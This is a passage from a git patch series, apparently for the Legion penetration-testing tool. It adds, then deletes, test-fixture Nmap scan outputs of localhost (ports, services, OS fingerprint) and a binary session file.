127.0.0.1 (localhost) Status: Up +Host: 127.0.0.1 (localhost) Ports: 80/closed/tcp//http///, 443/closed/tcp//https/// +# Nmap done at Mon Feb 25 14:47:51 2019 -- 1 IP address (1 host up) scanned in 22.18 seconds diff --git a/test-tool-output/nmap/20190225144728222518-nmapstage1.nmap b/test-tool-output/nmap/20190225144728222518-nmapstage1.nmap new file mode 100644 index 00000000..bbe5bb68 --- /dev/null +++ b/test-tool-output/nmap/20190225144728222518-nmapstage1.nmap @@ -0,0 +1,10 @@ +WARNING: UDP scan was requested, but no udp ports were specified. Skipping this scan type. +# Nmap 7.70 scan initiated Mon Feb 25 14:47:29 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -sSU -p T:80,443 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144728222518-nmapstage1 127.0.0.1 +Nmap scan report for localhost (127.0.0.1) +Host is up (0.00088s latency). + +PORT STATE SERVICE +80/tcp closed http +443/tcp closed https + +# Nmap done at Mon Feb 25 14:47:51 2019 -- 1 IP address (1 host up) scanned in 22.18 seconds diff --git a/test-tool-output/nmap/20190225144728222518-nmapstage1.xml b/test-tool-output/nmap/20190225144728222518-nmapstage1.xml new file mode 100644 index 00000000..58da9413 --- /dev/null +++ b/test-tool-output/nmap/20190225144728222518-nmapstage1.xml @@ -0,0 +1,22 @@ + + + + + + + + + + +
+ + + + + + + + + + + diff --git a/test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap b/test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap new file mode 100644 index 00000000..87e60af3 --- /dev/null +++ b/test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap @@ -0,0 +1,4 @@ +# Nmap 7.70 scan initiated Mon Feb 25 14:47:54 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144752367705-nmapstage2 127.0.0.1 +Host: 127.0.0.1 () Status: Up +Host: 127.0.0.1 () Ports: 25/closed/tcp//smtp///, 135/open/tcp//msrpc///, 137/filtered/tcp//netbios-ns///, 139/closed/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 1433/closed/tcp//ms-sql-s///, 3306/closed/tcp//mysql///, 5432/closed/tcp//postgresql///, 137/open|filtered/udp//netbios-ns///, 161/open|filtered/udp//snmp///, 162/open|filtered/udp//snmptrap///, 1434/open|filtered/udp//ms-sql-m/// Seq Index: 250 IP ID Seq: Incrementing by 2 +# Nmap done at Mon Feb 25 14:48:54 2019 -- 1 IP address (1 host up) scanned in 61.44 seconds diff --git a/test-tool-output/nmap/20190225144752367705-nmapstage2.nmap b/test-tool-output/nmap/20190225144752367705-nmapstage2.nmap new file mode 100644 index 00000000..8f03f8cb --- /dev/null +++ b/test-tool-output/nmap/20190225144752367705-nmapstage2.nmap @@ -0,0 +1,43 @@ +# Nmap 7.70 scan initiated Mon Feb 25 14:47:54 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144752367705-nmapstage2 127.0.0.1 +Nmap scan report for 127.0.0.1 +Host is up (0.038s latency). + +PORT STATE SERVICE +25/tcp closed smtp +135/tcp open msrpc +137/tcp filtered netbios-ns +139/tcp closed netbios-ssn +445/tcp open microsoft-ds +1433/tcp closed ms-sql-s +3306/tcp closed mysql +5432/tcp closed postgresql +137/udp open|filtered netbios-ns +161/udp open|filtered snmp +162/udp open|filtered snmptrap +1434/udp open|filtered ms-sql-m +No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). +TCP/IP fingerprint: +OS:SCAN(V=7.70%E=4%D=2/25%OT=135%CT=25%CU=%PV=N%DS=0%DC=L%G=Y%TM=5C7454B6%P +OS:=i686-pc-windows-windows)SEQ(SP=FA%GCD=1%ISR=10A%CI=I%II=I%TS=U)SEQ(SP=F +OS:A%GCD=1%ISR=10A%TI=I%II=I%TS=U)SEQ(SP=FA%GCD=1%ISR=109%TI=I%CI=I%II=I%TS +OS:=U)OPS(O1=MFFD7NW8NNS%O2=MFFD7NW8NNS%O3=MFFD7NW8%O4=MFFD7NW8NNS%O5=MFFD7 +OS:NW8NNS%O6=MFFD7NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)E +OS:CN(R=Y%DF=Y%TG=80%W=FFFF%O=MFFD7NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%TG=80%S=O%A=S +OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%TG=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y +OS:%TG=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%TG=80%W=0%S=A%A=O%F=R%O=% +OS:RD=0%Q=)T5(R=Y%DF=Y%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=80 +OS:%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0% +OS:Q=)U1(R=N)IE(R=Y%DFI=N%TG=80%CD=Z) + +Network Distance: 0 hops + +Host script results: +| smb2-security-mode: +| 2.02: +|_ Message signing enabled but not required +| smb2-time: +| date: 2019-02-25 14:48:19 +|_ start_date: N/A + +OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . +# Nmap done at Mon Feb 25 14:48:54 2019 -- 1 IP address (1 host up) scanned in 61.44 seconds diff --git a/test-tool-output/nmap/20190225144752367705-nmapstage2.xml b/test-tool-output/nmap/20190225144752367705-nmapstage2.xml new file mode 100644 index 00000000..41090cc3 --- /dev/null +++ b/test-tool-output/nmap/20190225144752367705-nmapstage2.xml @@ -0,0 +1,74 @@ + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +cpe:/o:microsoft:windows + + +cpe:/o:microsoft:windows_10:1607 + + +cpe:/o:microsoft:windows_7::sp1 + + +cpe:/o:microsoft:windows_vista::sp1 + + +cpe:/o:microsoft:windows_10:1511 + + +cpe:/o:microsoft:windows_10:1703 + + +cpe:/o:microsoft:windows_server_2008:r2 + + +cpe:/o:microsoft:windows_server_2008::sp2 + + +cpe:/o:microsoft:windows_7::sp1 + + +cpe:/o:microsoft:windows_8 + + + + + + + + + + + + diff --git a/test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap b/test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap new file mode 100644 index 00000000..35a559e0 --- /dev/null +++ b/test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap @@ -0,0 +1,4 @@ +# Nmap 7.70 scan initiated Mon Feb 25 14:48:59 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144857577797-nmapstage3 127.0.0.1 +Host: 127.0.0.1 () Status: Up +Host: 127.0.0.1 () Ports: 21/closed/tcp//ftp///, 22/closed/tcp//ssh///, 23/closed/tcp//telnet///, 110/closed/tcp//pop3///, 111/closed/tcp//rpcbind///, 2049/closed/tcp//nfs///, 3389/closed/tcp//ms-wbt-server///, 8080/closed/tcp//http-proxy///, 500/open|filtered/udp//isakmp///, 5060/open|filtered/udp//sip/// +# Nmap done at Mon Feb 25 14:49:10 2019 -- 1 IP address (1 host up) scanned in 11.75 seconds diff --git a/test-tool-output/nmap/20190225144857577797-nmapstage3.nmap b/test-tool-output/nmap/20190225144857577797-nmapstage3.nmap new file mode 100644 index 00000000..d61a2216 --- /dev/null +++ b/test-tool-output/nmap/20190225144857577797-nmapstage3.nmap @@ -0,0 +1,17 @@ +# Nmap 7.70 scan initiated Mon Feb 25 14:48:59 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144857577797-nmapstage3 127.0.0.1 +Nmap scan report for 127.0.0.1 +Host is up (0.00s latency). + +PORT STATE SERVICE +21/tcp closed ftp +22/tcp closed ssh +23/tcp closed telnet +110/tcp closed pop3 +111/tcp closed rpcbind +2049/tcp closed nfs +3389/tcp closed ms-wbt-server +8080/tcp closed http-proxy +500/udp open|filtered isakmp +5060/udp open|filtered sip + +# Nmap done at Mon Feb 25 14:49:10 2019 -- 1 IP address (1 host up) scanned in 11.75 seconds diff --git a/test-tool-output/nmap/20190225144857577797-nmapstage3.xml b/test-tool-output/nmap/20190225144857577797-nmapstage3.xml new file mode 100644 index 00000000..d58eee60 --- /dev/null +++ b/test-tool-output/nmap/20190225144857577797-nmapstage3.xml @@ -0,0 +1,29 @@ + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + diff --git a/test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap b/test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap new file mode 100644 index 00000000..cd133e38 --- /dev/null +++ b/test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap @@ -0,0 +1,4 @@ +# Nmap 7.70 scan initiated Mon Feb 25 14:49:15 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144912494057-nmapstage4 127.0.0.1 +Host: 127.0.0.1 () Status: Up +Host: 127.0.0.1 () Ports: 1536/open/tcp//ampr-inter///, 1537/open/tcp//sdsc-lm///, 1538/open/tcp//3ds-lm///, 1539/open/tcp//intellistor-lm///, 1545/open/tcp//vistium-share///, 1546/open/tcp//abbaccuray///, 2179/open/tcp//vmrdp///, 5040/open/tcp//unknown///, 6000/open/tcp//X11///, 16423/open/tcp/////, 16723/open/tcp//unknown/// Ignored State: closed (29971) +# Nmap done at Mon Feb 25 14:49:24 2019 -- 1 IP address (1 host up) scanned in 11.43 seconds diff --git a/test-tool-output/nmap/20190225144912494057-nmapstage4.nmap b/test-tool-output/nmap/20190225144912494057-nmapstage4.nmap new file mode 100644 index 00000000..25744ebe --- /dev/null +++ b/test-tool-output/nmap/20190225144912494057-nmapstage4.nmap @@ -0,0 +1,20 @@ +WARNING: UDP scan was requested, but no udp ports were specified. Skipping this scan type. +# Nmap 7.70 scan initiated Mon Feb 25 14:49:15 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144912494057-nmapstage4 127.0.0.1 +Nmap scan report for 127.0.0.1 +Host is up (0.00s latency). +Not shown: 29971 closed ports +PORT STATE SERVICE +1536/tcp open ampr-inter +1537/tcp open sdsc-lm +1538/tcp open 3ds-lm +1539/tcp open intellistor-lm +1545/tcp open vistium-share +1546/tcp open abbaccuray +2179/tcp open vmrdp +5040/tcp open unknown +6000/tcp open X11 +|_x11-access: X server access is granted +16423/tcp open unknown +16723/tcp open unknown + +# Nmap done at Mon Feb 25 14:49:24 2019 -- 1 IP address (1 host up) scanned in 11.43 seconds diff --git a/test-tool-output/nmap/20190225144912494057-nmapstage4.xml b/test-tool-output/nmap/20190225144912494057-nmapstage4.xml new file mode 100644 index 00000000..309b7163 --- /dev/null +++ b/test-tool-output/nmap/20190225144912494057-nmapstage4.xml @@ -0,0 +1,33 @@ + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + diff --git a/test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap b/test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap new file mode 100644 index 00000000..23b9a955 --- /dev/null +++ b/test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap @@ -0,0 +1,4 @@ +# Nmap 7.70 scan initiated Mon Feb 25 14:49:28 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:30000-65534,65535 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144927730202-nmapstage5 127.0.0.1 +Host: 127.0.0.1 () Status: Up +Host: 127.0.0.1 () Status: Up +# Nmap done at Mon Feb 25 14:49:39 2019 -- 1 IP address (1 host up) scanned in 10.88 seconds diff --git a/test-tool-output/nmap/20190225144927730202-nmapstage5.nmap b/test-tool-output/nmap/20190225144927730202-nmapstage5.nmap new file mode 100644 index 00000000..ffc44375 --- /dev/null +++ b/test-tool-output/nmap/20190225144927730202-nmapstage5.nmap @@ -0,0 +1,7 @@ +WARNING: UDP scan was requested, but no udp ports were specified. Skipping this scan type. +# Nmap 7.70 scan initiated Mon Feb 25 14:49:28 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:30000-65534,65535 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144927730202-nmapstage5 127.0.0.1 +Nmap scan report for 127.0.0.1 +Host is up (0.00040s latency). +All 35536 scanned ports on 127.0.0.1 are closed + +# Nmap done at Mon Feb 25 14:49:39 2019 -- 1 IP address (1 host up) scanned in 10.88 seconds diff --git a/test-tool-output/nmap/20190225144927730202-nmapstage5.xml b/test-tool-output/nmap/20190225144927730202-nmapstage5.xml new file mode 100644 index 00000000..8cf41271 --- /dev/null +++ b/test-tool-output/nmap/20190225144927730202-nmapstage5.xml @@ -0,0 +1,22 @@ + + + + + + + + + + +
+ + + + + + + + + + + diff --git a/test.legion b/test.legion new file mode 100644 index 0000000000000000000000000000000000000000..cd076009ad57e2cbc0127b898b0bde0349cf9797 GIT binary patch literal 20480 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 literal 0 HcmV?d00001 From 4662ed50ee313ffed2dc221947768d75902336c5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 14:55:06 -0600 Subject: [PATCH 140/450] Fixed save of tools section and save of stage5. Removed create config mess. --- test-tool-output/legion-passwords.txt | 0 test-tool-output/legion-usernames.txt | 0 .../20190225144728222518-nmapstage1.gnmap | 4 - .../nmap/20190225144728222518-nmapstage1.nmap | 10 --- .../nmap/20190225144728222518-nmapstage1.xml | 22 ------ .../20190225144752367705-nmapstage2.gnmap | 4 - .../nmap/20190225144752367705-nmapstage2.nmap | 43 ---------- .../nmap/20190225144752367705-nmapstage2.xml | 74 ------------------ .../20190225144857577797-nmapstage3.gnmap | 4 - .../nmap/20190225144857577797-nmapstage3.nmap | 17 ---- .../nmap/20190225144857577797-nmapstage3.xml | 29 ------- .../20190225144912494057-nmapstage4.gnmap | 4 - .../nmap/20190225144912494057-nmapstage4.nmap | 20 ----- .../nmap/20190225144912494057-nmapstage4.xml | 33 -------- .../20190225144927730202-nmapstage5.gnmap | 4 - .../nmap/20190225144927730202-nmapstage5.nmap | 7 -- .../nmap/20190225144927730202-nmapstage5.xml | 22 ------ test.legion | Bin 20480 -> 0 bytes 18 files changed, 297 deletions(-) delete mode 100644 test-tool-output/legion-passwords.txt delete mode 100644 test-tool-output/legion-usernames.txt delete mode 100644 test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap delete mode 100644 test-tool-output/nmap/20190225144728222518-nmapstage1.nmap delete mode 100644 test-tool-output/nmap/20190225144728222518-nmapstage1.xml delete mode 100644 test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap delete mode 100644 test-tool-output/nmap/20190225144752367705-nmapstage2.nmap delete mode 100644 test-tool-output/nmap/20190225144752367705-nmapstage2.xml delete mode 100644 test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap delete mode 100644 test-tool-output/nmap/20190225144857577797-nmapstage3.nmap delete mode 100644 test-tool-output/nmap/20190225144857577797-nmapstage3.xml delete mode 100644 test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap delete mode 100644 test-tool-output/nmap/20190225144912494057-nmapstage4.nmap delete mode 100644 test-tool-output/nmap/20190225144912494057-nmapstage4.xml delete mode 100644 test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap delete mode 100644 test-tool-output/nmap/20190225144927730202-nmapstage5.nmap delete mode 100644 test-tool-output/nmap/20190225144927730202-nmapstage5.xml delete mode 100644 test.legion diff --git a/test-tool-output/legion-passwords.txt b/test-tool-output/legion-passwords.txt deleted file mode 100644 index e69de29b..00000000 diff --git a/test-tool-output/legion-usernames.txt b/test-tool-output/legion-usernames.txt deleted file mode 100644 index e69de29b..00000000 diff --git a/test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap b/test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap deleted file mode 100644 index 9d473640..00000000 --- a/test-tool-output/nmap/20190225144728222518-nmapstage1.gnmap +++ /dev/null @@ -1,4 +0,0 @@ -# Nmap 7.70 scan initiated Mon Feb 25 14:47:29 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -sSU -p T:80,443 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144728222518-nmapstage1 127.0.0.1 -Host: 127.0.0.1 (localhost) Status: Up -Host: 127.0.0.1 (localhost) Ports: 80/closed/tcp//http///, 443/closed/tcp//https/// -# Nmap done at Mon Feb 25 14:47:51 2019 -- 1 IP address (1 host up) scanned in 22.18 seconds diff --git a/test-tool-output/nmap/20190225144728222518-nmapstage1.nmap b/test-tool-output/nmap/20190225144728222518-nmapstage1.nmap deleted file mode 100644 index bbe5bb68..00000000 --- a/test-tool-output/nmap/20190225144728222518-nmapstage1.nmap +++ /dev/null @@ -1,10 +0,0 @@ -WARNING: UDP scan was requested, but no udp ports were specified. Skipping this scan type. -# Nmap 7.70 scan initiated Mon Feb 25 14:47:29 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -sSU -p T:80,443 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144728222518-nmapstage1 127.0.0.1 -Nmap scan report for localhost (127.0.0.1) -Host is up (0.00088s latency). - -PORT STATE SERVICE -80/tcp closed http -443/tcp closed https - -# Nmap done at Mon Feb 25 14:47:51 2019 -- 1 IP address (1 host up) scanned in 22.18 seconds diff --git a/test-tool-output/nmap/20190225144728222518-nmapstage1.xml b/test-tool-output/nmap/20190225144728222518-nmapstage1.xml deleted file mode 100644 index 58da9413..00000000 --- a/test-tool-output/nmap/20190225144728222518-nmapstage1.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - - - - -
- - - - - - - - - - - diff --git a/test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap b/test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap deleted file mode 100644 index 87e60af3..00000000 --- a/test-tool-output/nmap/20190225144752367705-nmapstage2.gnmap +++ /dev/null @@ -1,4 +0,0 @@ -# Nmap 7.70 scan initiated Mon Feb 25 14:47:54 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144752367705-nmapstage2 127.0.0.1 -Host: 127.0.0.1 () Status: Up -Host: 127.0.0.1 () Ports: 25/closed/tcp//smtp///, 135/open/tcp//msrpc///, 137/filtered/tcp//netbios-ns///, 139/closed/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 1433/closed/tcp//ms-sql-s///, 3306/closed/tcp//mysql///, 5432/closed/tcp//postgresql///, 137/open|filtered/udp//netbios-ns///, 161/open|filtered/udp//snmp///, 162/open|filtered/udp//snmptrap///, 1434/open|filtered/udp//ms-sql-m/// Seq Index: 250 IP ID Seq: Incrementing by 2 -# Nmap done at Mon Feb 25 14:48:54 2019 -- 1 IP address (1 host up) scanned in 61.44 seconds diff --git a/test-tool-output/nmap/20190225144752367705-nmapstage2.nmap b/test-tool-output/nmap/20190225144752367705-nmapstage2.nmap deleted file mode 100644 index 8f03f8cb..00000000 --- a/test-tool-output/nmap/20190225144752367705-nmapstage2.nmap +++ /dev/null @@ -1,43 +0,0 @@ -# Nmap 7.70 scan initiated Mon Feb 25 14:47:54 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144752367705-nmapstage2 127.0.0.1 -Nmap scan report for 127.0.0.1 -Host is up (0.038s latency). - -PORT STATE SERVICE -25/tcp closed smtp -135/tcp open msrpc -137/tcp filtered netbios-ns -139/tcp closed netbios-ssn -445/tcp open microsoft-ds -1433/tcp closed ms-sql-s -3306/tcp closed mysql -5432/tcp closed postgresql -137/udp open|filtered netbios-ns -161/udp open|filtered snmp -162/udp open|filtered snmptrap -1434/udp open|filtered ms-sql-m -No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). -TCP/IP fingerprint: -OS:SCAN(V=7.70%E=4%D=2/25%OT=135%CT=25%CU=%PV=N%DS=0%DC=L%G=Y%TM=5C7454B6%P -OS:=i686-pc-windows-windows)SEQ(SP=FA%GCD=1%ISR=10A%CI=I%II=I%TS=U)SEQ(SP=F -OS:A%GCD=1%ISR=10A%TI=I%II=I%TS=U)SEQ(SP=FA%GCD=1%ISR=109%TI=I%CI=I%II=I%TS -OS:=U)OPS(O1=MFFD7NW8NNS%O2=MFFD7NW8NNS%O3=MFFD7NW8%O4=MFFD7NW8NNS%O5=MFFD7 -OS:NW8NNS%O6=MFFD7NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)E -OS:CN(R=Y%DF=Y%TG=80%W=FFFF%O=MFFD7NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%TG=80%S=O%A=S -OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%TG=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y -OS:%TG=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%TG=80%W=0%S=A%A=O%F=R%O=% -OS:RD=0%Q=)T5(R=Y%DF=Y%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=80 -OS:%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0% -OS:Q=)U1(R=N)IE(R=Y%DFI=N%TG=80%CD=Z) - -Network Distance: 0 hops - -Host script results: -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2019-02-25 14:48:19 -|_ start_date: N/A - -OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . -# Nmap done at Mon Feb 25 14:48:54 2019 -- 1 IP address (1 host up) scanned in 61.44 seconds diff --git a/test-tool-output/nmap/20190225144752367705-nmapstage2.xml b/test-tool-output/nmap/20190225144752367705-nmapstage2.xml deleted file mode 100644 index 41090cc3..00000000 --- a/test-tool-output/nmap/20190225144752367705-nmapstage2.xml +++ /dev/null @@ -1,74 +0,0 @@ - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - -cpe:/o:microsoft:windows - - -cpe:/o:microsoft:windows_10:1607 - - -cpe:/o:microsoft:windows_7::sp1 - - -cpe:/o:microsoft:windows_vista::sp1 - - -cpe:/o:microsoft:windows_10:1511 - - -cpe:/o:microsoft:windows_10:1703 - - -cpe:/o:microsoft:windows_server_2008:r2 - - -cpe:/o:microsoft:windows_server_2008::sp2 - - -cpe:/o:microsoft:windows_7::sp1 - - -cpe:/o:microsoft:windows_8 - - - - - - - - - - - - diff --git a/test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap b/test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap deleted file mode 100644 index 35a559e0..00000000 --- a/test-tool-output/nmap/20190225144857577797-nmapstage3.gnmap +++ /dev/null @@ -1,4 +0,0 @@ -# Nmap 7.70 scan initiated Mon Feb 25 